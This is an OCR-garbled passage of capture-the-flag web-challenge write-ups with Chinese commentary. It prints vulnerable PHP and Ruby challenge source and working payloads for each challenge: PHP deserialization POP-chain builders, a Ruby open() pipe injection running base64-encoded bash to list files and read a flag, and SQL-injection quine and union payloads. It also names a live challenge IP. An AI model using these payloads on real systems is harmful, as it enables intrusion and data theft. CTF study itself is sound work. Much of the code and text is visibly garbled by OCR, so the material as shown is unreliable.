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https://github.com/wifeat/WWebF TP/blob/master/Readme/mytz.php

if (isset($_GET['act']) && $_GET['act'] == 'phpinfo'){
phpinfo();
exit();

Yelseif(isset($_POST['act']) && $_POST['act'] == 'TEST_1"){
$valInt = test_int();

Yelseif(isset($_POST['act']) && $_POST['act'] == 'TEST_2"){
$valFloat = test_float();

}Yelseif(isset($_POST['act']) & $_POST['act'] == 'TEST_3'){
$vallo = test_io();

Yelseif(isset($_POST['act']) && $_POST['act'] == '#&FEMysSQL'){

$mysqlReShow = 'show';

$mysqlRe = 'MYSQLEIELRE: ';

$mysqlRe .= (false !== @mysql_connect($_POST[ 'mysqlHost'], $_POST['mysqlUser'], $_POST['mysqlPas:
"MYSQLfR %% #3<font color="red">#EE K</ font>, ';

$mysqlRe .= '#{#EFE <b>'.$_POST['mysqlDb'].'</b> ';

1EphpinfoH 7] LL15 Zlflag


https://blog.csdn.net/meteox
https://blog.csdn.net/meteox/category_11261915.html
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http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/meteox/article/details/120391682
https://blog.csdn.net/meteox/category_11261915.html

http://114.115.185.167:32770/Readme/mytz.php?act=phpinfo

pklovecloud

<?php

include 'flag.php';
class pkshow

{

function echo_name()

{

return "Pk very safe®";

class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();

class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}

else

{

return "keystone lost~";

if (isset($_GET['pks']))

{
$logData = unserialize($_GET['pks']);
echo $logData;



eise

highlight_file(__file_);
}

7>
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<?php

$a=unserialize("");

var_dump($a);/bool(false)
var_dump($a->adf);//#R7 # H1& FEinull
var_dump($a->addf->asdf===null);/bool(true)

docker R 23 i this->openstack H A X &, M $this->openstack->neutron === $this->openstack->nova P iUl & Anull 5§ #8 7T 58
&

<?php
include 'flag.php’;

class acp
{
public $cinder;
public $neutron;
public $nova;
function __construct()

{

$this->cinder = new ace();

class ace

{
public $filename="flag.php';
public $openstack;
public $docker;

}

$pop=new acp();

echo urlencode(serialize($pop));
$pop->cinder->openstack=unserialize($pop->cinder->docker);
var_dump($pop->cinder->openstack);/bool(false)
var_dump($pop->cinder->openstack->neutron);/7R 5 & #-1& [FINULL
var_dump($pop->cinder->openstack->neutron===$pop->cinder->openstack->asdf);/true

7>
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<?php

class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct($cinder){
$this->nova = &$this->neutron;
$this->cinder = $cinder;

class ace

{
public $filename = "flag.php";
public $openstack;
public $docker;
function __construct($docker){
$this->docker = $docker;

echo urlencode(serialize(new acp(new ace(serialize(new acp("))))));

S48t LI 2P AL B KA B3 IR LB, BEAINUTLEIwp, s:4-“novar;Ri2: e nova A A3 — AN Bkt & Bt it 51
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https://blog.csdn.net/iamduoluo/article/details/8491746

<?php

class acp

{
protected $cinder;
public $neutron;
public $nova;
function __ construct()

{

$this->cinder = new ace();
function __ toString()

if (isset($this->cinder))
return $this->cinder->echo_name();

}

class ace
{
public $filename;
public $openstack;
public $docker;
function __construct()
{
$this->filename = "flag.php";
$this->docker = '0:8:"stdClass":2:{s:7:"neutron";s:1:"a";s:4:"nova";R:2;}";
}
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova) {
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}

else

{

return "keystone lost~";

}

$cls = new acp();

echo urlencode(serialize($cls))."\n";
echo $cls;

PNGE J ¥ #. 2%



require 'sinatra’
require 'digest’
require 'base64'

get'/' do
open("./view/index.html", 'r').read()
end

get '/upload' do
open("./view/upload.html", 'r').read()
end

post '/upload' do

unless params|:file] && params|:file][:tempfile] && params]:file][:filename] && params]:file][:filename].split(".")[-1] == 'png’
return "<script>alert('error');location.href='/upload';</script>"

end

begin
filename = Digest::MD5 hexdigest(Time.now.to_i.to_s + params|:file][:filename]) + ".png’
open(filename, 'wb') { [f|

f.write open(params|:file][:tempfile],'r').read()

}
"Upload success, file stored at #{filename}"

rescue
'something wrong'

end

end

get '/convert' do
open("./view/convert.ntml", 'r').read()
end

post '/convert' do
begin
unless params|'file']
return "<script>alert(‘error');location.href="/convert';</script>"
end

file = params|‘file’]
unless file.index("..") == nil && file.index('/") == nil && file =~ /A(.+)\.png$/
return "<script>alert('dont hack me');</script>"
end
res = open(file, 'r').read()
headers 'Content-Type' => "text/html; charset=utf-8"
"var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(\s*/, ") + "\";\n"
rescue
'something wrong'
end
end

E—BERWEIHE, HHWREBE, J5HEwpA &iE ZRubyfopen F jH &
open("| command") "] $44T iy 4

https://blog.heroku.com/identifying-ruby-ftp-cve

https://ruby-doc.org/docs/ruby-doc-bundle/Manual/man-1.4/function.html#open


https://blog.heroku.com/identifying-ruby-ftp-cve
https://ruby-doc.org/docs/ruby-doc-bundle/Manual/man-1.4/function.html#open

open(file[, mode])
open(file[, mode]){...}

Opens the file, and returns a File object associated with the file. The mode argument specifies the mode for the opened file, which is
either "r", "r+", "w', "w+", "a", "at+". See fopen(3). If mode omitted, the defaultis "r"

If the file begins with "|", Ruby performs following string as a sub-process, and associates pipes to the standard input/output of the sub-
process.

Note for the converts from Perl: The command string starts with |, not ends with |

AEXEE T, W— FNulL#payload
file=|bash -c "$(echo 'bHMgLw=="| base64 -d)" #.png

cat /[FLA9_KywXAv78LbopbpBDuWsm
file=|bash -c¢ "$(echo "Y2FOIC9GTEE5X0t5d1hBdjc4 TGJIvcGIMWQKR1V3Nt' | base64 -d)" #.png

EasyCleanup


https://ruby-doc.org/docs/ruby-doc-bundle/Manual/man-1.4/File.html

<?php

if(lisset($_GET['mode'])){
highlight_file(__file_);
lelse if($_GET['mode'] == "eval"){
$shell = $_GET['shell'] ?? 'phpinfo();';
if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
eval($shell);

}

if(isset($_GET['ile'])){
if(strlen($_GET/['file']) > 15 | filter($_GET(['file'])) exit("hacker");
include $_GET[file'];

}

function filter($var): bool{
$banned = ["\M,]ile"‘ ’Iforll, ll\$_ll, Ilincludell‘ ller.]\lll7 Ilrequirell’ l’?ll’ l’:ll’ ll/\ll7 Il_‘_"7 Il_ll’ ll%ll, "*ll7 Il\ll];

foreach($banned as $ban){
if(strstr($var, $ban)) return True;

}

return False;

}

function checkNums($var): bool{
$alphanum = 'abcdefghijklmnopgrstuvwxyz0123456789ABCDEF GHIJKLMNOPQRSTUVWXYZ';
$ent =0;
for($i = 0; $i < strlen($alphanum); $i++){
for($j = 0; $j < strlen($var); $j++){
if($var[$j] == $alphanum($i]){
$ent +=1;
if($cnt > 8) return True;
}
}
}

return False;

}

?>

XA~checkNumsSEZE R R A R, BEEMASPITRERAH, AERET —MERIIGE, FHA HIERE 45
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https://www.freebuf.com/vuls/202819.html
https://blog.csdn.net/meteox/article/details/119523392?spm=1001.2014.3001.5501

<?php

include_once("lib.php");

function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href="{$url}';</script>");

function checkSql($s) {
if(preg_match("/regexp|betweenlin|flag|=|>|<[and|\||right|left[reverse|update|extractvalue|floor|substr|&|;|\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');

if (isset($_POST['username']) && $ POST['username'] |=" && isset($ POST['password']) && $ POST['password'] I=") {
$username=$_POST['username'];
$password=$_ POST['password'];
if (Susername !=="admin") {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password";";
Suser_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($Suser_result);

if (1$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}

if(isset($_GET['source'])){
show_source(__FILE_);
die;

}

?>

F AT H—AIHE K wp

https://www.shysecurity.com/post/20140705-SQLi-Quine

‘union//sele ct/REPLACE(REPLACE(*“union//sele ct//REPLACE(REPLACE(""CHAR34),CHAR(39)).CHAR(94), "™ AS//atao#’, CHAR(34), CHAR(3
9)),CHAR(94), " union//select/REPLACE(REPLACE(""'CHAR(34),CHAR(39)),CHAR(34),") A5 /atao# ) AS/**/atao#

“union//sele ct//REPLACE(REPLACE(""CHAR34),CHAR(39)),CHAR(94), "™ Ag/**/ataott

% —RREPLACE

‘union//sele ct/REPLACE(REPLACE(-CHAR34),0HAR(39)),0HAR), " AS/**/ataott

% —KREPLACE

‘union//sele ct//REPLACE(REPLACE(*“union//sele ct//REPLACE(REPLACE(""CHAR34),CHAR(39)), CHAR(94), "™ Ag//atao#’, CHAR(34), CHAR(3
9)),CHAR(94), " union//select/REPLACE(REPLACE("""CHAR(34),CHAR(39)),CHAR(94),") AS//atao# ) AS/**/atao#

Nu1LH#payload


https://www.wolai.com/atao/gadQ8XjLaxoMSNGNgCZaJh
https://www.shysecurity.com/post/20140705-SQLi-Quine

1’union//select//mid( 11 ,65,217)/lfrom(select//1,2,3,4,5,6,7,8,9,10,11,12,13,1
4,15,16,17/lunion//select/[*//from//[performance_schema.threads//where//na
me//like’%connection%’//limit//1,1)t#
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